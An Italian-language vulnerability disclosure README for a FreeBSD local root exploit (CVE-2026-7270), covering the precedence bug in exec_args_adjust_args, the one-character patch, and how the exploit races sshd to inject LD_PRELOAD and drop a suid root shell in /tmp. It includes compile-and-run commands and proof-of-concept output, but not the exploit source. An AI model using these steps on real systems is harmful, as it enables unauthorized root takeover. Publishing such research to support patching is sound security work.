
CVE-2026-7270 Escalatione locale dei privilegi in FreeBSD tramite exec_args_adjust_args OOB memmove
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
Escalatazione locale dei privilegi su FreeBSD tramite memmove OOB in exec_args_adjust_args
Un bug di precedenza degli operatori in exec_args_adjust_args() (sys/kern/kern_exec.c, presente dal 2013) consente a qualsiasi utente locale di ottenere i privilegi di root su un'installazione FreeBSD predefinita con sshd in esecuzione. Nessun binario suid, nessun modulo del kernel, nessuna modifica alla configurazione richiesta.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + dovrebbe essere - */
+ consume dovrebbe essere - consume. Il segno errato fa sì che la memmove copi 2 * consume byte invece dei corretti endp - begin_argv - consume. Con un argv[0] di 265.185 byte in un exec shebang, la memmove fa overflow dell'entry exec_map di 528.384 byte di 2.024 byte nell'entry adiacente — nessun crash, nessun segnale, nessun page fault.
L'exploit mette in competizione la memmove OOB con il fork/execv di sshd sulle connessioni TCP in arrivo. sshd-session viene eseguito da root a root senza transizione suid/sgid, quindi issetugid() restituisce 0 e il linker runtime onora LD_PRELOAD. L'exploit inserisce LD_PRELOAD=/tmp/evil.so nell'entry exec_map di sshd-session; il costruttore di evil.so viene eseguito con uid=0 e rilascia una shell root suid in /tmp/rootsh.
Root ottenuto al round 5.030, ~6 secondi dopo l'avvio su una VM a 4 CPU.
| Versioni interessate | FreeBSD 11.0 fino a 14.4 (tutte le release; nessuna correzione in alcun branch al momento della divulgazione) |
| Prerequisiti | Shell locale non privilegiata; sshd in esecuzione (predefinito su FreeBSD) |
| Affidabilità | ~0,6% di successo per round; root in secondi su un sistema a 4 CPU |
| Testato | FreeBSD 14.4-RELEASE-p1 amd64, kernel GENERIC, 4 CPU, 2GB RAM |
Cambiare un carattere in sys/kern/kern_exec.c:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
Su un target FreeBSD 14.4, come qualsiasi utente non privilegiato:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... qualche secondo ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
Sotto QEMU (host macOS, richiede qemu e sshpass):
./run_poc.sh # avvia la VM, compila, esegue l'exploit
./run_poc.sh run # riesegue contro una VM già in esecuzione
./run_poc.sh clean # rimuove gli artefatti della VM
$ ./run_poc.sh
[*] Avvio VM FreeBSD 14.4 (4 CPU, 2GB RAM, SSH sulla porta 2225)...
[*] PID QEMU 25908, log: vm.log
[*] Attesa SSH sulla porta 2225...
[*] SSH attiva dopo 1s
[*] Copia del sorgente dell'exploit nella VM...
[*] Creazione utente non privilegiato 'freebsd' e compilazione...
[*] Compilazione OK
[*] Esecuzione dell'exploit come 'freebsd' (fino a 15000 round)...
[*] Osservare ROOT OTTENUTA di seguito:
[!!!] ROOT OTTENUTA!
uid=0 euid=0 pid=3413
[!!!] Shell root: /tmp/rootsh -p
[*] Verifica root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id tramite rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Arresto VM (pid 25908)...
| File | Descrizione |
|---|
exec1_lpe21.c | Exploit autonomo — compilare ed eseguire come utente non privilegiato |
run_poc.sh | Automazione QEMU: avvia FreeBSD 14.4, compila ed esegue l'exploit |
WRITEUP.md | Analisi tecnica completa: analisi del bug, architettura dell'exploit, cronologia dello sviluppo |
blog.md | Resoconto narrativo della scoperta e dello sviluppo dell'exploit |
images/ | Diagrammi SVG: layout di exec_map, meccanismo di auto-copia, panoramica completa dell'attacco |